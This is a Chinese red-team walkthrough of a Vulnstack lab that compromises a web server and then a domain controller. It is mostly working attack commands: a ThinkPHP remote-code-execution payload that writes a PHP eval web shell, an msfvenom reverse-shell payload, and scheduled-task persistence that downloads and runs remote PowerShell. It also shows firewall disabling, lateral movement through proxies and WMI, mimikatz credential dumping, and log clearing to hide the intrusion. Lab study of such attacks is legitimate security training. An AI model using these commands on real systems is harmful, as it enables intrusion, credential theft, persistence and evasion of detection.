ATT&CK实战系列—红队实战-5

admin 2023年12月5日01:47:41评论24 views字数 5599阅读18分39秒阅读模式


0、靶场介绍

ATT&CK第五个攻防靶场已经出来了,此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习。

靶场详情:http://vulnstack.qiyuanxuetang.net/vuln/detail/8/


ATT&CK实战系列—红队实战-5

1、信息收集

ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-5

2、漏洞分析

该阶段为漏洞挖掘、漏洞扫描、漏洞验证

2.1 漏洞挖掘

ATT&CK实战系列—红队实战-5

2.2 漏洞验证

漏洞POC:

http://127.0.0.1/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ATT&CK实战系列—红队实战-5

http://127.0.0.1/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ATT&CK实战系列—红队实战-5

3、漏洞利用

3.1 ThinkPHP 5.0.22 getshell

获取网站根目录,写入shell:

ATT&CK实战系列—红队实战-5

http://192.168.1.145//?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST["pass"]);?>" > C:\phpStudy\PHPTutorial\WWW\public\shell.php

ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-5

3.2 主机信息收集

本机信息主要包括主机的系统、权限、内网分配 IP 地址段、端口、服务、共享、会话、网络连接信息、补丁更新频率、安装的软件杀毒等。如果是域内主机,系统、软件、补丁、服务、杀毒一般都是批量安装的。通过收集本机的相关信息,可以进一步了解整个域的操作系统版本、 软件、补丁、用户命名方式等。

0.查询当前权限、账号信息

whoami

whoami /all

1. 查询网络配置信息

ipconfig /all

2.查询操作系统及安装软件的版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

3.查询本机服务信息

wmic service list brief

4.查询进程列表

tasklist /v

wmic process list brief

5.查看启动程序信息

wmic startup get command,caption

6.查看计划任务

schtasks /query /fo LIST /v

7.查看主机开机时间

net statistics workstation

8.查询用户列表、获取本地管理员信息、查看当前在线用户

net user

net localgroup administrators

query user || qwinsta

9.列出或断开本地计算机和连接的客户端的会话

net session

10.查询端口列表

netstat -ano

11.查询补丁列表

Systeminfo

wmic qfe get Caption,Description,HotFixID,InstalledOn

12.查询本机共享

net share

wmic share get name,path,status

13.查询路由表及所有可用接口的 ARP 缓存表

route print

Arp –A

14.查询防火墙相关配置

netsh firewall show config

15.查看计算机代理配置情况

reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"

16.查询远程连接服务

在 cmd 下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389.

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber

‌4、权限提升

4.1 msf 提权

使用 MSF 进行提权并且抓取散列值和明文密码:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=12345 -f exe -o payload.exe

ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-5

4.2 dump Hash

ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-5

4.3 远程登录

开启3389

run post/windows/manage/enable_rdp

或者

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

查看防火墙配置

netsh firewall show config

关闭防火墙:

Windows Server 2003 系统及之前版本

netsh firewall set opmode disable

Windows Server 2003 之后系统版本

netsh advfirewall set allprofiles state off

ATT&CK实战系列—红队实战-5

5、权限维持

计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而使我们获得目标系统的控制权。计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。

5.1 任务计划

1、利用 at 命令

at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

1. 首先在目标主机上传metasploit生成的后门程序:

meterpreter > upload /root/payload.exe C:\Windows\System32

2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:

net time

3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:

at 15:01:00 /every:M,T,W,Th,F c:windowssystem32backdoor.exe

4. 计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:

ATT&CK实战系列—红队实战-5

2、利用 schtasks 命令

上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。所以攻击者开始使用schtasks命令来代替at命令。

在目标主机上创建一个名为test的计划任务,启动程序为C:vps.exe,启动权限为system,启动时间为每隔一小时启动一次。当执行完该命令,该计划任务就已经启动了

schtasks /create /tn test /sc HOURLY /mo 1 /tr c:vps.exe /ru system /f

其他启动时间参数:

/sc onlogon 用户登录时启动

/sc onstart 系统启动时启动

/sc onidle 系统空闲时启动

但是如果是powershell命令的话,执行完下面的命令,还需要执行启动该计划任务的命令

schtasks /create /tn test /sc HOURLY /mo 1 /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx'''))'" /ru system /f

查询该test计划任务

schtasks /query | findstr test

启动该test计划任务

schtasks /run /i /tn "test"

删除该test计划任务

schtasks /delete /tn "test" /f

利用schtasks创建后门的大致流程如下:

1. 首先在目标主机上传metasploit生成的后门程序。

2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:

schtasks /create /tn backdoor /sc minute /mo 1 /tr c:windowssystem32backdoor.exe /ru system /f

3. 然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session

ATT&CK实战系列—红队实战-5

6、横向渗透

6.1 搭建 socks 代理

  • 使用ew 开启一个正向代理

Linux系统

./ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口

Windows系统

ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口

主机的设置

如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.12的1080端口:socks5 100.100.10.12 1080

然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19

如果是Windows系统,直接浏览器中设置代理为 web_ip 的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理

ATT&CK实战系列—红队实战-5

  • 使用msf socks 搭建代理

ATT&CK实战系列—红队实战-5

  • 使用 chisel 搭建一个代理

服务端:

chisel.exe server -p 3080 --socks5

攻击端:

./chisel_linux64 client 192.168.1.145:3080 socks

ATT&CK实战系列—红队实战-5

6.2 内网信息收集

  • 域内信息收集

查看域名

Net config workstation

Ipconfig /all

查看几个域

Net view /domain

查看是否是域名主机

Net time /domain

查看域内主机

Net user /domain

查看域控

Net group “domain controllers“ /domain

查看域管理员

Net group “domain admins” /domain

ATT&CK实战系列—红队实战-5

  • 域名主机存活

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.138.%I | findstr "TTL="

ATT&CK实战系列—红队实战-5

auxiliary/scanner/smb/smb_version

ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-5

  • 端口服务探测

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.138.138

ATT&CK实战系列—红队实战-5

‌6.3 横向渗透--域控

  • 使用 ms17-010 拿下域控 -- 利用失败

ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-5

  • wmi 进行横向 -- 获取域控

ATT&CK实战系列—红队实战-5

proxychains4 wmiexec.py sun/administrator:[email protected]

ATT&CK实战系列—红队实战-5

开启3389,关闭防火墙:

#设置远程桌面端口

reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

#开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

#关闭远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

#检查端口状态

netstat -an|find "3389"

关闭防火墙:

Windows Server 2003 系统及之前版本

netsh firewall set opmode disable

Windows Server 2003 之后系统版本

netsh advfirewall set allprofiles state off

ATT&CK实战系列—红队实战-5

使用域账号登录:

ATT&CK实战系列—红队实战-5

  • dump hash

proxychains4 smbclient //192.168.138.138/C$ -U administrator

put mimikatz.exe

ATT&CK实战系列—红队实战-5

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-5

7、痕迹清理

有远程桌面权限时手动删除日志:

开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

wevtutil:

wevtutil el 列出系统中所有日志名称

wevtutil cl system 清理系统日志

wevtutil cl application 清理应用程序日志

wevtutil cl security 清理安全日志

meterperter自带清除日志功能:

clearev 清除windows中的应用程序日志、系统日志、安全日志

清除recent:

在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮

或直接打开C:UsersAdministratorRecent并删除所有内容

或在命令行中输入del /f /s /q “%userprofile%Recent*.*

ATT&CK实战系列—红队实战-5

原文始发于微信公众号(贝雷帽SEC):ATT&CK实战系列—红队实战-5

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月5日01:47:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK实战系列—红队实战-5https://cn-sec.com/archives/2261628.html

发表评论

匿名网友 填写信息